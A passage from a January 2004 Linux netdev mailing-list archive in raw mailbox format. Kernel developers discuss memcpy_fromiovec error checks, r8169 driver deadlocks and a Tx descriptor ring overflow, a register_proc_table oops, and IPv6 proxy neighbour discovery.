isn't enough space left + * for the digits, or if all bits are used. + */ + return -ENFILE; } From chrisw@osdl.org Fri Jan 16 16:45:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 16:45:34 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0H0jKmK023926 for ; Fri, 16 Jan 2004 16:45:21 -0800 Received: (from chrisw@localhost) by mail.osdl.org (8.11.6/8.11.6) id i0H0jCR05860; Fri, 16 Jan 2004 16:45:12 -0800 Date: Fri, 16 Jan 2004 16:45:12 -0800 From: Chris Wright To: maximilian attems Cc: Chris Wright , netdev@oss.sgi.com Subject: Re: [PATCH 1/5] tun check error on memcpy_fromiovec Message-ID: <20040116164512.C19034@osdlab.pdx.osdl.net> References: <20031208202302.C30587@build.pdx.osdl.net> <20031219103457.GD1213@mail.sternwelten.at> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20031219103457.GD1213@mail.sternwelten.at>; from janitor@sternwelten.at on Fri, Dec 19, 2003 at 11:34:58AM +0100 X-archive-position: 2558 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chrisw@osdl.org Precedence: bulk X-list: netdev Content-Length: 600 Lines: 18 * maximilian attems (janitor@sternwelten.at) wrote: > hey chris, > > after applying your 4 patches on top of linux-2.6.0 > + experimental net, > found 2 last unchecked memcpy_fromiovec in tun.c > patch bellow fixes the second call, > the first is beyond me, please complete this patch :) > compile tested I specifically left those alone. They have a semi-bogus verify_area() call that is trying to insure the memcpy_fromiovec won't EFAULT. I'd prefer to remove them and simply do memcpy checking. thanks, -chris -- Linux Security Modules http://lsm.immunix.org http://lsm.bkbits.net From harisri@bigpond.com Fri Jan 16 17:33:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 17:33:51 -0800 (PST) Received: from gizmo04bw.bigpond.com (gizmo04bw.bigpond.com [144.140.70.14]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0H1XamK025374 for ; Fri, 16 Jan 2004 17:33:37 -0800 Received: (qmail 27245 invoked from network); 17 Jan 2004 01:31:29 -0000 Received: from unknown (HELO bwmam14.bigpond.com) (144.135.24.109) by gizmo04bw.bigpond.com with SMTP; 17 Jan 2004 01:31:29 -0000 Received: from 144.138.164.232 ([144.138.164.232]) by bwmam14.bigpond.com(MAM REL_3_4_2 201/64886957) with SMTP id 64886957; Sat, 17 Jan 2004 11:33:33 +1000 From: Srihari Vijayaraghavan To: Francois Romieu Subject: Re: [PROBLEM] r8169 deadlocks Date: Sat, 17 Jan 2004 12:34:33 +1100 User-Agent: KMail/1.5.4 Cc: netdev@oss.sgi.com References: <200401152039.00182.harisri@bigpond.com> <20040115220827.A22007@electric-eye.fr.zoreil.com> In-Reply-To: <20040115220827.A22007@electric-eye.fr.zoreil.com> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200401171234.33778.harisri@bigpond.com> X-archive-position: 2559 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: harisri@bigpond.com Precedence: bulk X-list: netdev Content-Length: 2041 Lines: 63 Hello Francois, On Friday 16 January 2004 08:08, Francois Romieu wrote: > *head scratch* Sorry :-) > Can you monitor 'vmstat 1' output on the r8169 host during the test ? The computer deadlocks within few seconds (3 to 5), and it hangs everything including vmstat, and does not get as for as the file system. I will write it down by hand and post it. Here is the sysrq-m when it hung, maybe this will provide some you wanted from vmstat: SysRq : Show Memory Mem-info: DMA per-cpu: cpu 0 hot: low 2, high 6, batch 1 cpu 0 cold: low 0, high 2, batch 1 Normal per-cpu: cpu 0 hot: low 32, high 96, batch 16 cpu 0 cold: low 0, high 32, batch 16 HighMem per-cpu: empty Free pages: 987624kB (0kB HighMem) Active:2407 inactive:1605 dirty:1 writeback:0 unstable:0 free:246906 DMA free:13256kB min:12kB low:24kB high:36kB active:0kB inactive:0kB Normal free:974368kB min:1004kB low:2008kB high:3012kB active:9628kB inactive:6420kB HighMem free:0kB min:128kB low:256kB high:384kB active:0kB inactive:0kB DMA: 0*4kB 1*8kB 0*16kB 2*32kB 2*64kB 2*128kB 2*256kB 0*512kB 0*1024kB 0*2048kB 3*4096kB = 13256kB Normal: 0*4kB 0*8kB 0*16kB 1*32kB 0*64kB 0*128kB 0*256kB 1*512kB 1*1024kB 1*2048kB 237*4096kB = 974368kB HighMem: empty Swap cache: add 0, delete 0, find 0/0, race 0+0 Free swap: 0kB 262128 pages of RAM 5950 reserved pages 2977 pages shared 0 pages swap cached > You can try 2.6.1-bk2 + Jeff Garzik's -netdev4 + > http://www.fr.zoreil.com/people/francois/misc/r8169-tx-index-overflow.patch I shall try this and then report the status. > If it does not perform better, you can try against 2.6.1-bk1 the set at > http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.1-bk1-b OK. I have tried 2.6.1-mm4 which includes the most recent -netdev updates from Jeff Garzik and it behaves the same way. > If I remember correctly, you are the first report of a non-completely > disfunctional driver for the new version of the r8169. Things improve. Sorry I am unable to understand your statement. Thanks Hari harisri@bigpond.com From jt@bougret.hpl.hp.com Fri Jan 16 17:40:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 17:40:20 -0800 (PST) Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0H1e6mK025826 for ; Fri, 16 Jan 2004 17:40:07 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel11.hp.com (Postfix) with ESMTP id 54EC51C016A7; Fri, 16 Jan 2004 17:40:06 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id RAA29273; Fri, 16 Jan 2004 17:40:06 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1AhfRV-0003k4-00; Fri, 16 Jan 2004 17:40:05 -0800 Date: Fri, 16 Jan 2004 17:40:05 -0800 To: netdev@oss.sgi.com, Chris Wright Subject: [PATCH 2/4] irda check error on memcpy_fromiovec (resend) Message-ID: <20040117014005.GA14291@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 2560 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 419 Lines: 14 Chris Wright wrote : > Check the return value on memcpy_fromiovec(). > > net/irda/af_irda.c | 18 +++++++++++++++--- > 1 files changed, 15 insertions(+), 3 deletions(-) Oups, I must have missed the first edition. I've added this is my patch queue in case Dave doesn't pick it up, but as you can see I now have a bit of backlog : http://www.hpl.hp.com/personal/Jean_Tourrilhes/IrDA/IrDA.html Have fun... Jean From chrisw@osdl.org Fri Jan 16 17:42:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 17:42:24 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0H1gBmK026229 for ; Fri, 16 Jan 2004 17:42:11 -0800 Received: (from chrisw@localhost) by mail.osdl.org (8.11.6/8.11.6) id i0H1fXn14356; Fri, 16 Jan 2004 17:41:33 -0800 Date: Fri, 16 Jan 2004 17:41:33 -0800 From: Chris Wright To: jt@hpl.hp.com Cc: netdev@oss.sgi.com, Chris Wright Subject: Re: [PATCH 2/4] irda check error on memcpy_fromiovec (resend) Message-ID: <20040116174133.Y19023@osdlab.pdx.osdl.net> References: <20040117014005.GA14291@bougret.hpl.hp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20040117014005.GA14291@bougret.hpl.hp.com>; from jt@bougret.hpl.hp.com on Fri, Jan 16, 2004 at 05:40:05PM -0800 X-archive-position: 2561 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chrisw@osdl.org Precedence: bulk X-list: netdev Content-Length: 283 Lines: 9 * Jean Tourrilhes (jt@bougret.hpl.hp.com) wrote: > Oups, I must have missed the first edition. I've added this is > my patch queue in case Dave doesn't pick it up, but as you can see I thanks. -chris -- Linux Security Modules http://lsm.immunix.org http://lsm.bkbits.net From yoshfuji@linux-ipv6.org Fri Jan 16 18:22:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 18:22:29 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0H2MFmK027448 for ; Fri, 16 Jan 2004 18:22:16 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 1459133CA5; Sat, 17 Jan 2004 11:22:45 +0900 (JST) Date: Sat, 17 Jan 2004 11:22:44 +0900 (JST) Message-Id: <20040117.112244.90941296.yoshfuji@linux-ipv6.org> To: shemminger@osdl.org Cc: davem@redhat.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] (2/4) support large number of network devices -- name hash From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040116154814.7c7f31ac.shemminger@osdl.org> References: <20040116154652.04dd3324.shemminger@osdl.org> <20040116154814.7c7f31ac.shemminger@osdl.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2563 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 351 Lines: 9 In article <20040116154814.7c7f31ac.shemminger@osdl.org> (at Fri, 16 Jan 2004 15:48:14 -0800), Stephen Hemminger says: > + size_t len = min(strlen(name),(size_t)(IFNAMSIZ-1)); strnlen(name, IFNAMESIZ) ? -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From akpm@osdl.org Fri Jan 16 18:21:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 18:22:03 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0H2LhmK027331 for ; Fri, 16 Jan 2004 18:21:43 -0800 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0H2LZo20638; Fri, 16 Jan 2004 18:21:35 -0800 Date: Fri, 16 Jan 2004 18:21:54 -0800 From: Andrew Morton To: Thomas Schlichter Cc: netdev@oss.sgi.com Subject: Re: Fw: Oops in register_proc_table (2.6.1-mm4) Message-Id: <20040116182154.0b45a072.akpm@osdl.org> In-Reply-To: <200401170040.52852.thomas.schlichter@web.de> References: <20040116104709.2163912c.akpm@osdl.org> <20040116112310.424d9020.akpm@osdl.org> <200401170040.52852.thomas.schlichter@web.de> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2562 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Content-Length: 2107 Lines: 51 Thomas Schlichter wrote: > > Am Freitag, 16. Januar 2004 20:23 schrieb Andrew Morton: > > Andrew Morton wrote: > > > NET: Registered protocol family 10 > > > Unable to handle kernel paging request at virtual address 000927c0 > > > printing eip: > > > c012ba17 > > > *pde = 00000000 > > > Oops: 0000 [#1] > > > PREEMPT > > > CPU: 0 > > > EIP: 0060:[] Not tainted VLI > > > EFLAGS: 00010246 > > > EIP is at register_proc_table+0x47/0x120 > > > eax: 00000000 ebx: e106c9ec ecx: ffffffff edx: 000927c0 > > > esi: 00000000 edi: 000927c0 ebp: c012b130 esp: de4ddd7c > > > ds: 007b es: 007b ss: 0068 > > > Process modprobe (pid: 1936, threadinfo=de4dc000 task=de9e3900) > > > Stack: e1061159 000081a4 de6e5c40 81a40000 de6e5c40 e106d480 00000000 > > > de6e5c40 00000000 c012ba7c e10617fc 0000416d de6e5cc0 416d0000 de6e5cc0 > > > e106d640 00000000 de6e5cc0 00000000 c012ba7c e1061862 0000416d dffccac0 > > > 416dddec Call Trace: > > > [] register_proc_table+0xac/0x120 > > > [] register_proc_table+0xac/0x120 > > > [] register_proc_table+0xac/0x120 > > > [] register_sysctl_table+0x5e/0x80 > > > [] ipv6_sysctl_register+0x17/0x20 [ipv6] > > > [] inet6_init+0x18b/0x2d0 [ipv6] > > > [] sys_init_module+0x17b/0x1670 > > > [] vma_link+0x76/0xc0 > > > [] do_mmap_pgoff+0x38c/0x6f9 > > > [] filp_close+0x59/0xa0 > > > [] sys_close+0x5b/0xa0 > > > [] syscall_call+0x7/0xb > > > > > > Code: 33 85 f6 0f 84 9b 00 00 00 8b 53 04 85 d2 89 d7 74 ea 8b 73 18 85 > > > f6 75 0b 8b 43 14 85 c0 0f 84 cb 00 00 00 31 c0 b9 ff ff ff ff a > > > e f7 d1 49 85 f6 0f b7 43 10 89 cd 66 89 44 24 0e 74 6d 66 > > > <7>request_module: failed /sbin/modprobe -- net-pf-10. error = 11 > > > > > > If this is not enough information to track down the problem I can provide > > > my .config of any other information, of course. > > > > Actually, yes. Please send your .config. > > OK, here it is... ;-) > Works fine here. From damouse@ntlworld.com Fri Jan 16 21:15:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 21:15:17 -0800 (PST) Received: from queue1-svc.ntlworld.com (queue1-win.server.ntlworld.com [62.253.162.221]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0H5F1mK005519 for ; Fri, 16 Jan 2004 21:15:04 -0800 Received: from EozVul.WORKGROUP ([217.137.144.106]) by mta06-svc.ntlworld.com (InterMail vM.4.01.03.37 201-229-121-137-20020806) with SMTP id <20040116164705.UNDH22499.mta06-svc.ntlworld.com@EozVul.WORKGROUP>; Fri, 16 Jan 2004 16:47:05 +0000 Date: Fri, 16 Jan 2004 16:47:00 +0000 From: DaMouse Networks To: Francois Romieu Cc: netdev@oss.sgi.com Subject: Re: [patch] 2.6.1-bk1-netdev4 - latent bug Message-Id: <20040116164700.4670ca1b@EozVul.WORKGROUP> In-Reply-To: <20040115090731.B13143@electric-eye.fr.zoreil.com> References: <20040114233350.A4646@electric-eye.fr.zoreil.com> <20040115003319.B4646@electric-eye.fr.zoreil.com> <20040115071314.0141e55c@EozVul.WORKGROUP> <20040115090731.B13143@electric-eye.fr.zoreil.com> X-archive-position: 2564 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: damouse@ntlworld.com Precedence: bulk X-list: netdev Content-Length: 1334 Lines: 38 Organization: DaMouse Networks X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit SMP-Enabled Kernel, i was pinging my router (Win2k Server) which seems to be pretty good at withstanding ping -f :) and I went downstairs and checked it was still alive after I lost contact, hey netdev peeps and peepesses, my computer is still alive and glowing blue :P -DaMouse On Thu, 15 Jan 2004 09:07:31 +0100 Francois Romieu wrote: > DaMouse Networks : > [...] > > --- 192.168.0.1 ping statistics --- > > 29918 packets transmitted, 16354 received, 45% packet loss, time 290162ms > > rtt min/avg/max/mdev = 0.379/0.398/10.352/0.181 ms, ipg/ewma 9.698/0.389 ms > > Btw, you can/may lower the packet size during ping (see -s option). > > [...] > > Then I try again and I get this: > > > > PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data. > > >From 192.168.0.94 icmp_seq=9 Destination Host Unreachable > > Ok, I'll dig that. It does not seem _too_ bad. > - is your modem able to stand a ping -f without loss ? > - were you running an smp-enabled kernel ? > - can you Cc: netdev so people know that your computer survived ? > > Thanks for the quick feedback. > > -- > Ueimor From pekkas@netcore.fi Fri Jan 16 23:09:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 23:09:26 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0H79BmK007807 for ; Fri, 16 Jan 2004 23:09:12 -0800 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id i0H76s309932; Sat, 17 Jan 2004 09:06:54 +0200 Date: Sat, 17 Jan 2004 09:06:54 +0200 (EET) From: Pekka Savola To: Ville Nuorvala cc: yoshfuji@linux-ipv6.org, , , Subject: Re: [PATCH|RFC] IPv6: have a proxy discard link-local traffic Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2566 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 1949 Lines: 49 (Re-sending as netdev was non-operational yesterday.) On Fri, 16 Jan 2004, Ville Nuorvala wrote: > > It's still at the starting phase -- now would be an excellent time to > > bring this up. > > OK, I guess I'll send a question to the ipv6 list. Please do -- I've already raised too many issues in that spec :-) > Let's assume the proxy handles (both link-local and global) NUD > probes correctly. What will it do with the rest of the unicast packets? > > Packets to a global address may be routed to the proxied node if the > router has a route to it, but what should it do to link-local packets? The > desired behavior isn't described in RFC2461, but the MIPv6 draft has a > proposal. Right. > No, *assuming* we have a proxy capable of capturing NUD probes, my patch > will send an Address Unreachable message in response to all link-local > unicast traffic *except* ND, since it is already handled separately. > Since ND works normally, my patch doesn't limit link-local proxying. It > just warns the sender that any link-local traffic it is trying to send > can't be delivered to the destination. OK. > > It can give back ICMP error messages, if necessary. I don't know > > which path a Thaler proxy would use though. > > It can't really use ip6_forward() anyway, since the funtion decreases the > hop limit of the packet and drops all traffic from a link-local source > address etc, etc. > > Since the Thaler proxy clearly needs some other forwarding function than > ip6_forward(), my proposed patch doesn't affect its behavior in any way. Ok, if your modification is in ip6_forward() (I didn't check), I guess it would OK, with a sufficient comment to bring up that a future implementation might treat link-local proxying differently. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From pekkas@netcore.fi Fri Jan 16 23:08:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 23:08:45 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0H78VmK007777 for ; Fri, 16 Jan 2004 23:08:32 -0800 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id i0H78Pw09944; Sat, 17 Jan 2004 09:08:25 +0200 Date: Sat, 17 Jan 2004 09:08:25 +0200 (EET) From: Pekka Savola To: netdev@oss.sgi.com, cc: Myung-Ki Shin Subject: IPv6 application porting feedback solicited Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2565 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 817 Lines: 26 Hello everybody, (Please send the replies to only me and Myung-Ki, please.) We, at v6ops WG in the IETF, are in the process of documenting the ways to transition applications to IPv6. The biggest action item of this process is developing some guidelines for porting applications to support IPv6. The document describing these procedures is soon being finished. We're soliciting input from the people who've had experience with these issues, with regard to the document: http://www.ietf.org/internet-drafts/draft-ietf-v6ops-application-transition-00.txt If possible, please send feedback within a week. Thanks. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From uucp@coruscant.gnumonks.org Sat Jan 17 04:35:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 17 Jan 2004 04:35:30 -0800 (PST) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0HCZ4mK022883 for ; Sat, 17 Jan 2004 04:35:11 -0800 Received: from uucp by coruscant.gnumonks.org with local-bsmtp (Exim 4.20) id 1AhpfK-0006lU-Iq for netdev@oss.sgi.com; Sat, 17 Jan 2004 13:35:02 +0100 Received: from laforge by obroa-skai.gnumonks.org with local (Exim 3.36 #1) id 1AhoiE-0007UD-00; Sat, 17 Jan 2004 06:33:58 -0500 Date: Sat, 17 Jan 2004 12:33:58 +0100 From: Harald Welte To: "YOSHIFUJI Hideaki / ?$B5HF#1QL@" Cc: vnuorval@tcs.hut.fi, netfilter-devel@lists.netfilter.org, davem@redhat.com, netdev@oss.sgi.com Subject: Re: [PATCH|RFC] IPv6 netfilter: a module for complete proxy ND support Message-ID: <20040117113358.GL18505@obroa-skai.de.gnumonks.org> Mail-Followup-To: Harald Welte , "YOSHIFUJI Hideaki / ?$B5HF#1QL@" , vnuorval@tcs.hut.fi, netfilter-devel@lists.netfilter.org, davem@redhat.com, netdev@oss.sgi.com References: <20040114.210427.104284595.yoshfuji@linux-ipv6.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="n83H03bbH672hrlY" Content-Disposition: inline In-Reply-To: <20040114.210427.104284595.yoshfuji@linux-ipv6.org> X-Operating-System: Linux obroa-skai.de.gnumonks.org 2.6.1-rc1-ben1 X-Date: Today is Boomtime, the 17th day of Chaos in the YOLD 3170 User-Agent: Mutt/1.5.4i X-archive-position: 2567 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@netfilter.org Precedence: bulk X-list: netdev Content-Length: 1754 Lines: 47 --n83H03bbH672hrlY Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Jan 14, 2004 at 09:04:27PM +0900, YOSHIFUJI Hideaki / ?$B5HF#1QL@ w= rote: > In article (at Wed, 1= 4 Jan 2004 13:25:42 +0200 (EET)), Ville Nuorvala says: >=20 > > the packets for local processing. I think the cleanest solution for this > > is a netfilter module (which I have incidentally written already :) >=20 > I don't think so. Proxy should not depend on netfilter. Where is the problem? It doesn't depend on hevyweight functions like iptables/conntrack/whatever... it just depends on the netfilter hooks in the core network stack (which are very lightweight, compared to what the rest of the packet filtering subsystem does). > --yoshfuji --=20 - Harald Welte http://www.netfilter.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D "Fragmentation is like classful addressing -- an interesting early architectural error that shows how much experimentation was going on while IP was being designed." -- Paul Vixie --n83H03bbH672hrlY Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQFACR2mXaXGVTD0i/8RAjxcAKCUz7F9XATELlM9CvbDYneOengVugCcDN/b faCTvYaehxbsPqOFe+WY4JE= =i7yu -----END PGP SIGNATURE----- --n83H03bbH672hrlY-- From romieu@fr.zoreil.com Sat Jan 17 04:55:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 17 Jan 2004 04:56:03 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0HCtmmK023951 for ; Sat, 17 Jan 2004 04:55:49 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0HCr3gf014135; Sat, 17 Jan 2004 13:53:03 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0HCr2Sn014134; Sat, 17 Jan 2004 13:53:02 +0100 Date: Sat, 17 Jan 2004 13:53:02 +0100 From: Francois Romieu To: Srihari Vijayaraghavan Cc: netdev@oss.sgi.com Subject: Re: [PROBLEM] r8169 deadlocks Message-ID: <20040117135302.A13453@electric-eye.fr.zoreil.com> References: <200401152039.00182.harisri@bigpond.com> <20040115220827.A22007@electric-eye.fr.zoreil.com> <200401171234.33778.harisri@bigpond.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200401171234.33778.harisri@bigpond.com>; from harisri@bigpond.com on Sat, Jan 17, 2004 at 12:34:33PM +1100 X-Organisation: Land of Sunshine Inc. X-archive-position: 2568 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 2838 Lines: 63 Srihari Vijayaraghavan : [memory stats] Ok, the driver does not seem to leak. [...] > > You can try 2.6.1-bk2 + Jeff Garzik's -netdev4 + > > http://www.fr.zoreil.com/people/francois/misc/r8169-tx-index-overflow.patch > > I shall try this and then report the status. Please (see "Scenario" below). > > If it does not perform better, you can try against 2.6.1-bk1 the set at > > http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.1-bk1-b > > OK. I have tried 2.6.1-mm4 which includes the most recent -netdev updates > from Jeff Garzik and it behaves the same way. > > > If I remember correctly, you are the first report of a non-completely > > disfunctional driver for the new version of the r8169. Things improve. > > Sorry I am unable to understand your statement. Tests have shown that stock r8169 is foobar on amd64 without Realtek's changes. The r8169 in -mm, -netdev merge various changes made by Realtek and several contributors. Tests have shown that this modified r8169 was completely broken. Your report indicates that the last modified r8169 (slowly) returns to sanity on amd64. Nice :o) r8169-tx-index-overflow.patch has not been included in -mm nor in -netdev so far. It has only been moderately tested on x86 so amd64 users are welcome. I do not claim it will solve everything but nasty things [*] can happen without it. [*] Scenario: While submitting sbk, start_xmit crosses the end of the Tx descriptor ring and feeds the start of the ring again (so far, so good). It is possible/expected that several skbs are pending, especially as the start_xmit function uses posted pci writes to tell that asic that it must wake up. Later, the Tx irq handler notifes that the first pending buffer was sent. Now, depending on the state of the memory just after the end of the Tx descriptor ring, interesting things (deadlock included) can happen. Take a look at rtl8169_tx_interrupt(), assume that tp->dirty_tx = 63, tp->cur_tx = 63 + 48. "entry" starts at tp->cur_tx % NUM_TX_DESC = 47 and can be incremented from tp->cur_tx - tp->dirty_tx = 48 units, thus ending waaaaayyy beyond the end of the allowed Tx descriptor ring (NUM_TX_DESC = 64 entries). If something in this memory area looks like a Tx descriptor which is owned by the asic, the irq handler loops for life. If this memory area looks like a Tx descriptor which belongs to the cpu, the irq handler will free the skb and the asic may simply send crap on the wire. If this explanation is right, it applies on 2.4.x as well. However it is suprizing as Robert Olsson was able to send packets at rather high rates with the Realtek variant of this driver (where the start_xmit/tx_interrupt functions are identical). So, please, please, test in a sane environment (no binary modules) and tell me if things behave the same/better/worse. -- Ueimor From romieu@fr.zoreil.com Sat Jan 17 05:23:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 17 Jan 2004 05:23:59 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0HDNjmK024930 for ; Sat, 17 Jan 2004 05:23:45 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0HDN7gf014423; Sat, 17 Jan 2004 14:23:07 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0HDN7NG014422; Sat, 17 Jan 2004 14:23:07 +0100 Date: Sat, 17 